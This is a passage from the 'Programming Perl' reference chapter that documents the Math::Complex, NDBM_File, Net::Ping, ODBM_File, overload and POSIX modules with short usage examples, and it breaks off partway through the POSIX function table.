$c = $a->bsub(-111111);   # "+42000000111111"; $c is just a string

Previous: 7.2.42 Math::BigFloat - Arbitrary-Length, Floating-Point Math Package | Programming Perl | Next: 7.2.44 Math::Complex - Complex Numbers Package
7.2.42 Math::BigFloat - Arbitrary-Length, Floating-Point Math Package | Book Index | 7.2.44 Math::Complex - Complex Numbers Package


[Chapter 7] 7.2.44 Math::Complex - Complex Numbers Package

Programming PerlSearch this book

7.2.44 Math::Complex - Complex Numbers Package

use Math::Complex;
$cnum = new Math::Complex;

When you use this module, complex numbers declared as:

$cnum = Math::Complex->new(1, 1);

can be manipulated with overloaded math operators. The operators:

+ - * / neg ~ abs cos sin exp sqrt

are supported, and return references to new objects. Also,

"" (stringify)

is available to convert complex numbers to strings. In addition, the methods:

Re Im arg

are available. Given a complex number, $cnum:

$cnum = Math::Complex->new($x, $y);

then $cnum->Re() returns $x,
$cnum->Im() returns $y, and
$cnum->arg() returns atan2($y, $x).

sqrt(), which should return two roots, returns only one.

Previous: 7.2.43 Math::BigInt - Arbitrary-Length Integer Math Package | Programming Perl | Next: 7.2.45 NDBM_File - Tied Access to NDBM Files
7.2.43 Math::BigInt - Arbitrary-Length Integer Math Package | Book Index | 7.2.45 NDBM_File - Tied Access to NDBM Files


[Chapter 7] 7.2.45 NDBM_File - Tied Access to NDBM Files

Programming PerlSearch this book

7.2.45 NDBM_File - Tied Access to NDBM Files

use Fcntl;
use NDBM_File;

tie(%hash, NDBM_File, 'Op.dbmx', O_RDWR|O_CREAT, 0644);
# read/writes of %hash are now read/writes of the file, Op.dmx.pag
untie %hash;

See Perl's built-in tie function. Also see under DB_File in this chapter for a description of a closely related module.

Previous: 7.2.44 Math::Complex - Complex Numbers Package | Programming Perl | Next: 7.2.46 Net::Ping - Check Whether a Host Is Online
7.2.44 Math::Complex - Complex Numbers Package | Book Index | 7.2.46 Net::Ping - Check Whether a Host Is Online


[Chapter 7] 7.2.46 Net::Ping - Check Whether a Host Is Online

Programming PerlSearch this book

7.2.46 Net::Ping - Check Whether a Host Is Online

use Net::Ping;

$hostname = 'elvis';       # host to check
$timeout = 10;             # how long to wait for a response
print "elvis is alive\n"    if pingecho($hostname, $timeout);

pingecho() uses a TCP echo (not an ICMP one) to determine whether a remote host is reachable. This is usually adequate to tell whether a remote host is available to rsh(1), ftp(1), or telnet(1).

The parameters for pingecho() are:

hostname

The remote host to check, specified either as a hostname or as an IP address.

timeout

The timeout in seconds. If not specified it will default to 5 seconds.

WARNING: pingecho() uses alarm to implement the timeout, so don't set another alarm while you are using it.

Previous: 7.2.45 NDBM_File - Tied Access to NDBM Files | Programming Perl | Next: 7.2.47 ODBM_File - Tied Access to ODBM Files
7.2.45 NDBM_File - Tied Access to NDBM Files | Book Index | 7.2.47 ODBM_File - Tied Access to ODBM Files


[Chapter 7] 7.2.47 ODBM_File - Tied Access to ODBM Files

Programming PerlSearch this book

7.2.47 ODBM_File - Tied Access to ODBM Files

use Fcntl;
use ODBM_File;

tie(%hash, ODBM_File, 'Op.dbmx', O_RDWR|O_CREAT, 0644);
# read/writes of %hash are now read/writes of the file, Op.dmx
untie %hash;

See Perl's built-in tie function. Also see under DB_File in this chapter for a description of a closely related module.

Previous: 7.2.46 Net::Ping - Check Whether a Host Is Online | Programming Perl | Next: 7.2.48 overload - Overload Perl's Mathematical Operations
7.2.46 Net::Ping - Check Whether a Host Is Online | Book Index | 7.2.48 overload - Overload Perl's Mathematical Operations


[Chapter 7] 7.2.48 overload - Overload Perl's Mathematical Operations

Programming PerlSearch this book

7.2.48 overload - Overload Perl's Mathematical Operations

# In the SomeThing module:
package SomeThing;

use overload
    '+' => \&myadd,
    '-' => \&mysub;

# In your other code:
use SomeThing;

$a = SomeThing->new(57);
$b=5+$a;

if (overload::Overloaded $b) {...}  # is $b subject to overloading?

$strval = overload::StrVal $b;

Caveat Scriptor: This interface is the subject of ongoing research. Feel free to play with it, but don't be too surprised if the interface changes subtly (or not so subtly) as it is developed further. If you rely on it for a mission-critical application, please be sure to write some good regression tests. (Or perhaps in this case we should call them "progression" tests.)

This module allows you to substitute class methods or your own subroutines for standard Perl operators. For example, the code:

package Number;
use overload
    "+"  => \&add,
    "*=" => "muas";

declares function add() for addition, and method muas() in the Number class (or one of its base classes) for the assignment form *= of multiplication.

Arguments to use overload come in key/value pairs. Legal values are values permitted inside a &{ ... } call, so the name of a subroutine, a reference to a subroutine, or an anonymous subroutine will all work. Legal keys are listed below.

The subroutine add() will be called to execute $a+$b if $a is a reference to an object blessed into the package Number, or if $a is not an object from a package with overloaded addition, but $b is a reference to a Number. It can also be called in other situations, like $a+=7, or $a++. See the section on "Autogeneration".

7.2.48.1 Calling conventions for binary operations

The functions specified with the use overload directive are typically called with three arguments. (See the "No Method" section later in this chapter for the four-argument case.) If the corresponding operation is binary, then the first two arguments are the two arguments of the operation. However, due to general object-calling conventions, the first argument should always be an object in the package, so in the situation of 7+$a, the order of the arguments gets interchanged before the method is called. It probably does not matter when implementing the addition method, but whether the arguments are reversed is vital to the subtraction method. The method can query this information by examining the third argument, which can take three different values:

false (0)

The order of arguments is as in the current operation.

true (1)

The arguments are reversed.

undefined

The current operation is an assignment variant (as in $a+=7), but the usual function is called instead. This additional information can be used to generate some optimizations.

7.2.48.2 Calling conventions for unary operations

Unary operations are considered binary operations with the second argument being undef. Thus the function that overloads {"++"} is called with arguments ($a, undef, "") when $a++ is executed.

7.2.48.3 Overloadable operations

The following operations can be specified with use overload:

  • Arithmetic operations

    +    -    *    /    %    **    <<    >>    x    .
+=   -=   *=   /=   %=   **=   <<=   >>=   x=   .=

    For these operations a substituted non-assignment variant can be called if the assignment variant is not available. Methods for operations "+", "-", "+=", and "-=" can be called to automatically generate increment and decrement methods. The operation "-" can be used to autogenerate missing methods for unary minus or abs().

  • Comparison operations

    <   <=  >   >=  ==  !=  <=>
lt  le  gt  ge  eq  ne  cmp

    The <=> operator can substitute for any of the other numeric compare operators, and cmp can substitute for any missing string compare operators. When using sort on arrays, cmp is used to compare values subject to use overload.

  • Bit and unary operations

    &   ^   |   neg   !   ~

    "neg" stands for unary minus. If the method for neg is not specified, it can be autogenerated using the method for subtraction.

  • Increment and decrement

    ++   --

    If undefined, addition and subtraction methods can be used instead. These operations are called both in prefix and postfix form.

  • Transcendental functions

    atan2   cos   sin   exp   abs   log   sqrt

    If abs is unavailable, it can be autogenerated using methods for "<" or "<=>" combined with either unary minus or subtraction.

  • Boolean, string and numeric conversion

    bool   ""   0+

    (Yes, that really is two double-quotes in a row.) If one or two of these operations are unavailable, the remaining ones can be used instead. bool is used in the flow control operators (like while and if) and for the trinary "?:" operation. These functions can return any arbitrary Perl value. If the corresponding operation for this value is overloaded, too, then that operation will be called again with this value.

  • Special

    nomethod  fallback  =

    The following sections provide explanation.

Three keys are recognized by Perl that are not covered by the above descriptions: "nomethod", "fallback", and "=".

7.2.48.4 No method

"nomethod" should be followed by a reference to a function of four parameters. If defined, it is called when the overloading mechanism cannot find a method for some operation. The first three arguments of this function coincide with the arguments for the corresponding method if it were found; the fourth argument is the symbol corresponding to the missing method. If several methods are tried, the last one is used.

For example, 1-$a can be equivalent to:

&nomethodMethod($a, 1, 1, "-")

if the pair "nomethod" => "nomethodMethod" was specified in the use overload directive.

If some operation cannot be resolved and there is no function assigned to "nomethod", then an exception will be raised via die unless "fallback" was specified as a key in a use overload directive.

7.2.48.5 Fallback

The "fallback" key governs what to do if a method for a particular operation is not found. Three different cases are possible depending on the value of "fallback":

undefined

Perl tries to use a substituted method (see the section later on "Autogeneration". If this fails, it then tries to call the method specified for "nomethod"; if missing, an exception will be raised.

true

The same as for the undefined value, but no exception is raised. Instead, Perl silently reverts to what it would have done were there no use overload present.

defined, but false

No autogeneration is tried. Perl tries to call the method specified for "nomethod", and if this is missing, raises an exception.

7.2.48.6 Copy constructor

The value for "=" is a reference to a function with three arguments; that is, it looks like the other values in use overload. However, it does not overload the Perl assignment operator. This would rub Camel hair the wrong way.

This operation is called when a mutator is applied to a reference that shares its object with some other reference, such as:

$a=$b;
$a++;

In order to change $a but not $b, a copy of $$a is made, and $a is assigned a reference to this new object. This operation is done during execution of the $a++, and not during the assignment, (so before the increment $$a coincides with $$b). This is only done if ++ is expressed via a method for "++" or "+=". Note that if this operation is expressed via "+" (a nonmutator):

$a=$b;
$a=$a+1;

then $a does not reference a new copy of $$a, since $$a does not appear as an lvalue when the above code is executed.

If the copy constructor is required during the execution of some mutator, but a method for "=" was not specified, it can be autogenerated as a string copy if the object is a plain scalar.

As an example, the actually executed code for:

$a=$b;
# Something else which does not modify $a or $b...
++$a;

may be:

$a=$b;
# Something else which does not modify $a or $b...
$a = $a->clone(undef, "");
$a->incr(undef, "");

This assumes $b is subject to overloading, "++" was overloaded with \&incr, and "=" was overloaded with \&clone.

7.2.48.7 Autogeneration

If a method for an operation is not found, and the value for "fallback" is true or undefined, Perl tries to autogenerate a substitute method for the missing operation based on the defined operations. Autogenerated method substitutions are possible for the following operations:

Assignment forms of arithmetic operations

$a+=$b can use the method for "+" if the method for "+=" is not defined.

Conversion operations

String, numeric, and Boolean conversion are calculated in terms of one another if not all of them are defined.

Increment and decrement

The ++$a operation can be expressed in terms of $a+=1 or $a+1, and $a-- in terms of $a-=1 and $a-1.

abs($a)

Can be expressed in terms of $a<0 and -$a (or 0-$a).

Unary minus

Can be expressed in terms of subtraction.

Concatenation

Can be expressed in terms of string conversion.

Comparison operations

Can be expressed in terms of its three-valued counterpart: either <=> or cmp:

<,  >,  <=, >=, ==, !=    in terms of <=>
lt, gt, le, ge, eq, ne    in terms of cmp
Copy operator

Can be expressed in terms of an assignment to the dereferenced value if this value is a scalar and not a reference.

WARNING: One restriction for the comparison operation is that even if, for example, cmp returns a blessed reference, the autogenerated lt function will produce only a standard logical value based on the numerical value of the result of cmp. In particular, a working numeric conversion is needed in this case (possibly expressed in terms of other conversions).

Similarly, .= and x= operators lose their overloaded properties if the string conversion substitution is applied.

When you chop an object that is subject to overloaded operations, the object is promoted to a string and its overloading properties are lost. The same can happen with other operations as well.

7.2.48.8 Run-time overloading

Since all use directives are executed at compile-time, the only way to change overloading during run-time is:

eval 'use overload "+" => \&addmethod';

You can also say:

eval 'no overload "+", "--", "<="';

although the use of these constructs during run-time is questionable.

7.2.48.9 Public functions

The overload module provides the following public functions:

overload::StrVal(arg)

Gives string value of arg if stringify overloading is absent.

overload::Overloaded(arg)

Returns true if arg is subject to overloading of some operations.

overload::Method(obj, op)

Returns the undefined value or a reference to the method that implements op.

7.2.48.10 Diagnostics

When Perl is run with the -Do switch or its equivalent, overloading induces diagnostic messages.

7.2.48.11 Bugs

Because it is used for overloading, the per-package associative array %OVERLOAD now has a special meaning in Perl.

Overloading is not yet inherited via the @ISA tree, though individual methods may be.

Previous: 7.2.47 ODBM_File - Tied Access to ODBM Files | Programming Perl | Next: 7.2.49 POSIX - Perl Interface to IEEE Std 1003.1
7.2.47 ODBM_File - Tied Access to ODBM Files | Book Index | 7.2.49 POSIX - Perl Interface to IEEE Std 1003.1


[Chapter 7] 7.2.49 POSIX - Perl Interface to IEEE Std 1003.1

Programming PerlSearch this book

7.2.49 POSIX - Perl Interface to IEEE Std 1003.1

use POSIX;                        # import all symbols
use POSIX qw(setsid);             # import one symbol
use POSIX qw(:errno_h :fcntl_h);  # import sets of symbols

printf "EINTR is %d\n", EINTR;

$sess_id = POSIX::setsid();

$fd = POSIX::open($path, O_CREAT|O_EXCL|O_WRONLY, 0644);
# note: $fd is a filedescriptor, *NOT* a filehandle

The POSIX module permits you to access all (or nearly all) the standard POSIX 1003.1 identifiers. Many of these identifiers have been given Perl-ish interfaces.

This description gives a condensed list of the features available in the POSIX module. Consult your operating system's manpages for general information on most features. Consult the appropriate Perl built-in function whenever a POSIX routine is noted as being identical to the function.

The "Classes" section later in this chapter describes some classes for signal objects, TTY objects, and other miscellaneous objects. The "Functions" section later in this chapter describes POSIX functions from the 1003.1 specification. The remaining sections list various constants and macros in an organization that roughly follows IEEE Std 1003.1b-1993.

WARNING: A few functions are not implemented because they are C-specific.[12] If you attempt to call one of these functions, it will print a message telling you that it isn't implemented, and will suggest using the Perl equivalent, should one exist. For example, trying to access the setjmp() call will elicit the message: "setjmp() is C-specific: use eval {} instead".

[12] The 1003.1 standard wisely recommends that other language bindings should avoid duplicating the idiosyncracies of C. This is something we were glad to comply with.

Furthermore, some vendors will claim 1003.1 compliance without passing the POSIX Compliance Test Suites (PCTS). For example, one vendor may not define EDEADLK, or may incorrectly define the semantics of the errno values set by open(2). Perl does not attempt to verify POSIX compliance. That means you can currently say "use POSIX" successfully, and then later in your program find that your vendor has been lax and there's no usable ICANON macro after all. This could be construed to be a bug. Whose bug, we won't venture to guess.

7.2.49.1 Classes

POSIX::SigAction

new

Creates a new POSIX::SigAction object that corresponds to the C struct sigaction. This object will be destroyed automatically when it is no longer needed. The first parameter is the fully qualified name of a subroutine which is a signal handler. The second parameter is a POSIX::SigSet object. The third parameter contains the sa_flags.

$sigset = POSIX::SigSet->new;
$sigaction = POSIX::SigAction->new('main::handler', $sigset,
                 &POSIX::SA_NOCLDSTOP);

This POSIX::SigAction object should be used with the POSIX::sigaction() function.

POSIX::SigSet

new

Creates a new SigSet object. This object will be destroyed automatically when it is no longer needed. Arguments may be supplied to initialize the set. Create an empty set:

$sigset = POSIX::SigSet->new;

Create a set with SIGUSR1:

$sigset = POSIX::SigSet->new(&POSIX::SIGUSR1);
addset

Adds a signal to a SigSet object. Returns undef on failure.

$sigset->addset(&POSIX::SIGUSR2);
delset

Removes a signal from the SigSet object. Returns undef on failure.

$sigset->delset(&POSIX::SIGUSR2);
emptyset

Initializes the SigSet object to be empty. Returns undef on failure.

$sigset->emptyset();
fillset

Initializes the SigSet object to include all signals. Returns undef on failure.

$sigset->fillset();
ismember

Tests the SigSet object to see whether it contains a specific signal.

if ($sigset->ismember(&POSIX::SIGUSR1 ) ){
    print "contains SIGUSR1\n";
}

POSIX::Termios

new

Creates a new Termios object. This object will be destroyed automatically when it is no longer needed.

$termios = POSIX::Termios->new;
getattr

Gets terminal control attributes for a given fd, 0 by default. Returns undef on failure. Obtain the attributes for standard input:

$termios->getattr()

Obtain the attributes for standard output:

$termios->getattr(1)
getcc

Retrieves a value from the c_cc field of a Termios object. The c_cc field is an array, so an index must be specified.

$c_cc[1] = $termios->getcc(&POSIX::VEOF);
getcflag

Retrieves the c_cflag field of a Termios object.

$c_cflag = $termios->getcflag;
getiflag

Retrieves the c_iflag field of a Termios object.

$c_iflag = $termios->getiflag;
getispeed

Retrieves the input baud rate.

$ispeed = $termios->getispeed;
getlflag

Retrieves the c_lflag field of a Termios object.

$c_lflag = $termios->getlflag;
getoflag

Retrieves the c_oflag field of a Termios object.

$c_oflag = $termios->getoflag;
getospeed

Retrieves the output baud rate.

$ospeed = $termios->getospeed;
setattr

Sets terminal control attributes for a given fd. Returns undef on failure. The following sets attributes immediately for standard output.

$termios->setattr(1, &POSIX::TCSANOW);
setcc

Sets a value in the c_cc field of a Termios object. The c_cc field is an array, so an index must be specified.

$termios->setcc(&POSIX::VEOF, 4);
setcflag

Sets the c_cflag field of a Termios object.

$termios->setcflag(&POSIX::CLOCAL);
setiflag

Sets the c_iflag field of a Termios object.

$termios->setiflag(&POSIX::BRKINT);
setispeed

Sets the input baud rate. Returns undef on failure.

$termios->setispeed(&POSIX::B9600);
setlflag

Sets the c_lflag field of a Termios object.

$termios->setlflag(&POSIX::ECHO);
setoflag

Set the c_oflag field of a Termios object.

$termios->setoflag(&POSIX::OPOST);
setospeed

Sets the output baud rate. Returns undef on failure.

$termios->setospeed(&POSIX::B9600);
Baud rate values

B0 B50 B75 B110 B134 B150 B200 B300 B600 B1200 B1800 B2400 B4800 B9600 B19200 B38400

Terminal interface values

TCSADRAIN TCSANOW TCOON TCIOFLUSH TCOFLUSH TCION TCIFLUSH TCSAFLUSH TCIOFF TCOOFF

c_cc index values

VEOF VEOL VERASE VINTR VKILL VQUIT VSUSP VSTART VSTOP VMIN VTIME NCCS

c_cflag field values

CLOCAL CREAD CSIZE CS5 CS6 CS7 CS8 CSTOPB HUPCL PARENB PARODD

c_iflag field values

BRKINT ICRNL IGNBRK IGNCR IGNPAR INLCR INPCK ISTRIP IXOFF IXON PARMRK

c_lflag field values

ECHO ECHOE ECHOK ECHONL ICANON IEXTEN ISIG NOFLSH TOSTOP

c_oflag field values

OPOST

While these constants are associated with the Termios class, note that they are actually symbols in the POSIX package.

Here's an example of a complete program for getting unbuffered, single-character input on a POSIX system:

#!/usr/bin/perl -w
use strict;
$| = 1;
for (1..4) {
    my $got;
    print "gimme: ";
    $got = getone();
    print "--> $got\n";
}
exit;

BEGIN {
    use POSIX qw(:termios_h);

    my ($term, $oterm, $echo, $noecho, $fd_stdin);

    $fd_stdin = fileno(STDIN);

    $term     = POSIX::Termios->new();
    $term->getattr($fd_stdin);
    $oterm    = $term->getlflag();

    $echo     = ECHO | ECHOK | ICANON;
    $noecho   = $oterm & ~$echo;

    sub cbreak {
        $term->setlflag($noecho);
        $term->setcc(VTIME, 1);
        $term->setattr($fd_stdin, TCSANOW);
    }

    sub cooked {
        $term->setlflag($oterm);
        $term->setcc(VTIME, 0);
        $term->setattr($fd_stdin, TCSANOW);
    }

    sub getone {
        my $key = "";
        cbreak();
        sysread(STDIN, $key, 1);
        cooked();
        return $key;
    }

}

END { cooked() }

7.2.49.2 Functions

Table 7.12: Functions
Function Name Definition
_exit

Identical to the C function _exit(2).

abort

Identical to the C function abort(3).

abs

Identical to Perl's built-in abs function.

access

Determines the accessibility of a file. Returns undef on failure.

if (POSIX::access("/", &POSIX::R_OK ) ){
    print "have read permission\n";
}

acos

Identical to the C function acos(3).

alarm

Identical to Perl's built-in alarm function.

asctime

Identical to the C function asctime(3).

asin

Identical to the C function asin(3).

assert

Similar to the C macro assert(3).

atan

Identical to the C function atan(3).

atan2

Identical to Perl's built-in atan2 function.

atexit

C-specific: use END {} instead.

atof

C-specific.

atoi

C-specific.

atol

C-specific.

bsearch

Not supplied. You should probably be using a hash anyway.

calloc

C-specific.

ceil

Identical to the C function ceil(3).

chdir

Identical to Perl's built-in chdir function.

chmod

Identical to Perl's built-in chmod function.

chown

Identical to Perl's built-in chown function.

clearerr

Use method FileHandle::clearerr() instead.

clock

Identical to the C function clock(3).

close

Closes a file. This uses file descriptors such as those obtained by calling POSIX::open(). Returns undef on failure.

$fd = POSIX::open("foo", &POSIX::O_RDONLY);
POSIX::close($fd);

closedir

Identical to Perl's built-in closedir function.

cos

Identical to Perl's built-in cos function.

cosh

Identical to the C function cosh(3).

creat

Creates a new file. This returns a file descriptor like the ones returned by POSIX::open(). Use POSIX::close() to close the file.

$fd = POSIX::creat("foo", 0611);
POSIX::close($fd);

ctermid

Generates the path name for the controlling terminal.

$path = POSIX::ctermid();

ctime

Identical to the C function ctime(3)

cuserid

Gets the character login name of the user.

$name = POSIX::cuserid();

difftime

Identical to the C function difftime(3).

div

C-specific.

dup

Similar to the C function dup(2). Uses file descriptors such as those obtained by calling POSIX::open(). Returns undef on failure.

dup2

Similar to the C function dup2(2). Uses file descriptors such as those obtained by calling POSIX::open(). Returns undef on failure.

errno

Returns the value of errno.

$errno = POSIX::errno();

execl

C-specific; use Perl's exec instead.

execle

C-specific; use Perl's exec instead.

execlp

C-specific; use Perl's exec instead.

execv

C-specific; use Perl's exec instead.

execve

C-specific; use Perl's exec instead.

execvp

C-specific; use Perl's exec instead.

exit

Identical to Perl's built-in exit function.

exp

Identical to Perl's built-in exp function.

fabs

Identical to Perl's built-in abs function.

fclose

Use method FileHandle::close() instead.

fcntl

Identical to Perl's built-in fcntl function.

fdopen

Use method FileHandle::new_from_fd() instead.

feof

Use method FileHandle::eof() instead.

ferror

Use method FileHandle::error() instead.

fflush

Use method FileHandle::flush() instead.

fgetc

Use method FileHandle::getc() instead.

fgetpos

Use method FileHandle::getpos() instead.

fgets

Use method FileHandle::gets() instead.

fileno

Use method FileHandle::fileno() instead.

floor

Identical to the C function floor(3).

fmod

Identical to the C function fmod(3).

fopen

Use method FileHandle::open() instead.

fork

Identical to Perl's built-in fork function.

fpathconf

Retrieves the value of a configurable limit on a file or directory. This uses file descriptors such as those obtained by calling POSIX::open(). Returns undef on failure. The following will determine the maximum length of the longest allowable pathname on the filesystem that holds /tmp/foo.

$fd = POSIX::open("/tmp/foo", &POSIX::O_RDONLY);
$path_max = POSIX::fpathconf($fd, &POSIX::_PC_PATH_MAX);

fprintf

C-specific; use Perl's built-in printf function instead.

fputc

C-specific; use Perl's built-in print function instead.

fputs

C-specific; use Perl's built-in print function instead.

fread

C-specific; use Perl's built-in read function instead.

free

C-specific

freopen

C-specific; use Perl's built-in open function instead.

frexp

Returns the mantissa and exponent of a floating-point number.

($mantissa, $exponent) = POSIX::frexp(3.14);

fscanf

C-specific; use <> and regular expressions instead.

fseek

Use method FileHandle::seek() instead.

fsetpos

Use method FileHandle::setpos() instead.

fstat

Gets file status. This uses file descriptors such as those obtained by calling POSIX::open(). The data returned is identical to the data from Perl's built-in stat function. Odd how that happens...

$fd = POSIX::open("foo", &POSIX::O_RDONLY);
@stats = POSIX::fstat($fd);

ftell

Use method FileHandle::tell() instead.

fwrite

C-specific; use Perl's built-in print function instead.

getc

Identical to Perl's built-in getc function.

getchar

Returns one character from STDIN.

getcwd

Returns the name of the current working directory.

getegid

Returns the effective group ID (gid).

getenv

Returns the value of the specified environment variable.

geteuid

Returns the effective user ID (uid).

getgid

Returns the user's real group ID (gid).

getgrgid

Identical to Perl's built-in getgrgid function.

getgrnam

Identical to Perl's built-in getgrnam function.

getgroups

Returns the ids of the user's supplementary groups.

getlogin

Identical to Perl's built-in getlogin function.

getpgrp

Identical to Perl's built-in getpgrp function.

getpid

Returns the process's ID (pid).

getppid

Identical to Perl's built-in getppid function.

getpwnam

Identical to Perl's built-in getpwnam function.

getpwuid

Identical to Perl's built-in getpwuid function.

gets

Returns one line from STDIN.

getuid

Returns the user's ID (uid).

gmtime

Identical to Perl's built-in gmtime function.

isalnum

Identical to the C function, except that it can apply to a single character or to a whole string. (If applied to a whole string, all characters must be of the indicated category.)

isalpha

Identical to the C function, except that it can apply to a single character or to a whole string.

isatty

Returns a Boolean indicating whether the specified filehandle is connected to a TTY.

iscntrl

Identical to the C function, except that it can apply to a single character or to a whole string.

isdigit

Identical to the C function, except that it can apply to a single character or to a whole string.

isgraph

Identical to the C function, except that it can apply to a single character or to a whole string.

islower

Identical to the C function, except that it can apply to a single character or to a whole string.

isprint

Identical to the C function, except that it can apply to a single character or to a whole string.

ispunct

Identical to the C function, except that it can apply to a single character or to a whole string.

isspace

Identical to the C function, except that it can apply to a single character or to a whole string.

isupper

Identical to the C function, except that it can apply to a single character or to a whole string.

isxdigit

Identical to the C function, except that it can apply to a single character or to a whole string.

kill

Identical to Perl's built-in kill function.

labs

C-specific; use Perl's built-in abs function instead.

ldexp

Identical to the C function ldexp(3).

ldiv

C-specific; use the division operator / and Perl's built-in int function instead.

link

Identical to Perl's built-in link function.

localeconv

Gets numeric formatting information. Returns a reference to a hash containing the current locale formatting values. The database for the de (Deutsch or German) locale:

$loc = POSIX::setlocale(&POSIX::LC_ALL, "de");
print "Locale = $loc\n";
$lconv = POSIX::localeconv();
print "decimal_point     = ", $lconv->{decimal_point},     "\n";
print "thousands_sep     = ", $lconv->{thousands_sep},     "\n";
print "grouping          = ", $lconv->{grouping},          "\n";
print "int_curr_symbol   = ", $lconv->{int_curr_symbol},   "\n";
print "currency_symbol   = ", $lconv->{currency_symbol},   "\n";
print "mon_decimal_point = ", $lconv->{mon_decimal_point}, "\n";
print "mon_thousands_sep = ", $lconv->{mon_thousands_sep}, "\n";
print "mon_grouping      = ", $lconv->{mon_grouping},      "\n";
print "positive_sign     = ", $lconv->{positive_sign},     "\n";
print "negative_sign     = ", $lconv->{negative_sign},     "\n";

print "int_frac_digits   = ", $lconv->{int_frac_digits},   "\n";
print "frac_digits       = ", $lconv->{frac_digits},       "\n";
print "p_cs_precedes     = ", $lconv->{p_cs_precedes},     "\n";
print "p_sep_by_space    = ", $lconv->{p_sep_by_space},    "\n";
print "n_cs_precedes     = ", $lconv->{n_cs_precedes},     "\n";
print "n_sep_by_space    = ", $lconv->{n_sep_by_space},    "\n";
print "p_sign_posn       = ", $lconv->{p_sign_posn},       "\n";
print "n_sign_posn       = ", $lconv->{n_sign_posn},       "\n";

localtime

Identical to Perl's built-in localtime function.

log

Identical to Perl's built-in log function.

log10

Identical to the C function log10(3).

longjmp

C-specific; use Perl's built-in die function instead.

lseek

Moves the read/write file pointer. This uses file descriptors such as those obtained by calling POSIX::open().

$fd = POSIX::open("foo", &POSIX::O_RDONLY);
$off_t = POSIX::lseek($fd, 0, &POSIX::SEEK_SET);
Returns undef on failure.

malloc

C-specific.

mblen

Identical to the C function mblen(3).

mbstowcs

Identical to the C function mbstowcs(3).

mbtowc

Identical to the C function mbtowc(3).

memchr

C-specific; use Perl's built-in index instead.

memcmp

C-specific; use eq instead.

memcpy

C-specific; use = instead.

memmove

C-specific; use = instead.

memset

C-specific; use x instead.

mkdir

Identical to Perl's built-in mkdir function.

mkfifo

Similar to the C function mkfifo(2). Returns undef on failure.

mktime

Converts date/time information to a calendar time. Returns undef on failure. Synopsis:

mktime(sec, min, hour, mday, mon, year, wday = 0,
                                     yday = 0, isdst = 0)

The month (mon), weekday (wday), and yearday (yday) begin at zero. That is, January is 0, not 1; Sunday is 0, not 1; January 1st is 0, not 1. The year (year) is given in years since 1900. That is, the year 1995 is 95; the year 2001 is 101. Consult your system's mktime(3) manpage for details about these and the other arguments. Calendar time for December 12, 1995, at 10:30 am.

$time_t = POSIX::mktime(0, 30, 10, 12, 11, 95);
print "Date = ", POSIX::ctime($time_t);

modf

Returns the integral and fractional parts of a floating-point number.

($fractional, $integral) = POSIX::modf(3.14);

nice

Similar to the C function nice(3). Returns undef on failure.

offsetof

C-specific.

open

Opens a file for reading or writing. This returns file descriptors, not Perl filehandles. Returns undef on failure. Use POSIX::close() to close the file. Open a file read-only:

$fd = POSIX::open("foo");
Open a file for reading and writing:
$fd = POSIX::open("foo", &POSIX::O_RDWR);
Open a file for writing, with truncation:
$fd = POSIX::open("foo", &POSIX::O_WRONLY | &POSIX::O_TRUNC);
Create a new file with mode 0644; set up the file for writing:
$fd = POSIX::open("foo", &POSIX::O_CREAT | &POSIX::O_WRONLY,
        0644);

opendir

Opens a directory for reading. Returns undef on failure.

$dir = POSIX::opendir("/tmp");
@files = POSIX::readdir($dir);
POSIX::closedir($dir);

pathconf

Retrieves the value of a configurable limit on a file or directory. Returns undef on failure. The following will determine the maximum length of the longest allowable pathname on the filesystem that holds /tmp:

$path_max = POSIX::pathconf("/tmp", &POSIX::_PC_PATH_MAX);

pause

Similar to the C function pause(3). Returns undef on failure.

perror

Identical to the C function perror(3).

pipe

Creates an interprocess channel. Returns file descriptors like those returned by POSIX::open().

($fd0, $fd1) = POSIX::pipe();
POSIX::write($fd0, "hello", 5);
POSIX::read($fd1, $buf, 5);

pow

Computes $x raised to the power $exponent.

$ret = POSIX::pow($x, $exponent);

printf

Prints the specified arguments to STDOUT.

putc

C-specific; use Perl's built-in print function instead.

putchar

C-specific; use Perl's built-in print function instead.

puts

C-specific; use Perl's built-in print function instead.

qsort

C-specific; use Perl's built-in sort function instead.

raise

Sends the specified signal to the current process.

rand

Non-portable; use Perl's built-in rand function instead.

read

Reads from a file. This uses file descriptors such as those obtained by calling POSIX::open(). If the buffer $buf is not large enough for the read, then Perl will extend it to make room for the request. Returns undef on failure.

$fd = POSIX::open("foo", &POSIX::O_RDONLY);
$bytes = POSIX::read($fd, $buf, 3);

readdir

Identical to Perl's built-in readdir function.

realloc

C-specific.

remove

Identical to Perl's built-in unlink function.

rename

Identical to Perl's built-in rename function.

rewind

Seeks to the beginning of the file.

rewinddir

Identical to Perl's built-in rewinddir function.

rmdir

Identical to Perl's built-in rmdir function.

scanf

C-specific; use <> and regular expressions instead.

setgid

Sets the real group id for this process, like assigning to the special variable $(.

setjmp

C-specific; use eval {} instead.

setlocale

Modifies and queries program's locale. The following will set the traditional UNIX system locale behavior.

$loc = POSIX::setlocale(&POSIX::LC_ALL, "C");

setpgid

Similar to the C function setpgid(2). Returns undef on failure.

setsid

Identical to the C function setsid(8).

setuid

Sets the real user ID for this process, like assigning to the special variable $<.

sigaction

Detailed signal management. This uses POSIX::SigAction objects for the $action and $oldaction arguments. Consult your system's sigaction(3) manpage for details. Returns undef on failure.

POSIX::sigaction($sig, $action, $oldaction)

siglongjmp

C-specific; use Perl's built-in die function instead.

sigpending

Examine signals that are blocked and pending. This uses POSIX::SigSet objects for the $sigset argument. Consult your system's sigpending(2) manpage for details. Returns undef on failure.

POSIX::sigpending($sigset)

sigprocmask

Changes and/or examines this process's signal mask. This uses POSIX::SigSet objects for the $sigset and $oldsigset arguments. Consult your system's sigprocmask(2) manpage for details. Returns undef on failure.

POSIX::sigprocmask($how, $sigset, $oldsigset)

sigsetjmp

C-specific; use eval {} instead.

sigsuspend

Install a signal mask and suspend process until signal arrives. This uses POSIX::SigSet objects for the $signal_mask argument. Consult your system's sigsuspend(2) manpage for details. Returns undef on failure.

POSIX::sigsuspend($signal_mask)

sin

Identical to Perl's built-in sin function.

sinh

Identical to the C function sinh(3).

sleep

Identical to Perl's built-in sleep function.

sprintf

Identical to Perl's built-in sprintf function.

sqrt

Identical to Perl's built-in sqrt function.

srand

Identical to Perl's built-in srand function.

sscanf

C-specific; use regular expressions instead.

stat

Identical to Perl's built-in stat function.

strcat

C-specific; use .= instead.

strchr

C-specific; use index instead.

strcmp

C-specific; use eq instead.

strcoll

Identical to the C function strcoll(3).

strcpy

C-specific; use = instead.

strcspn

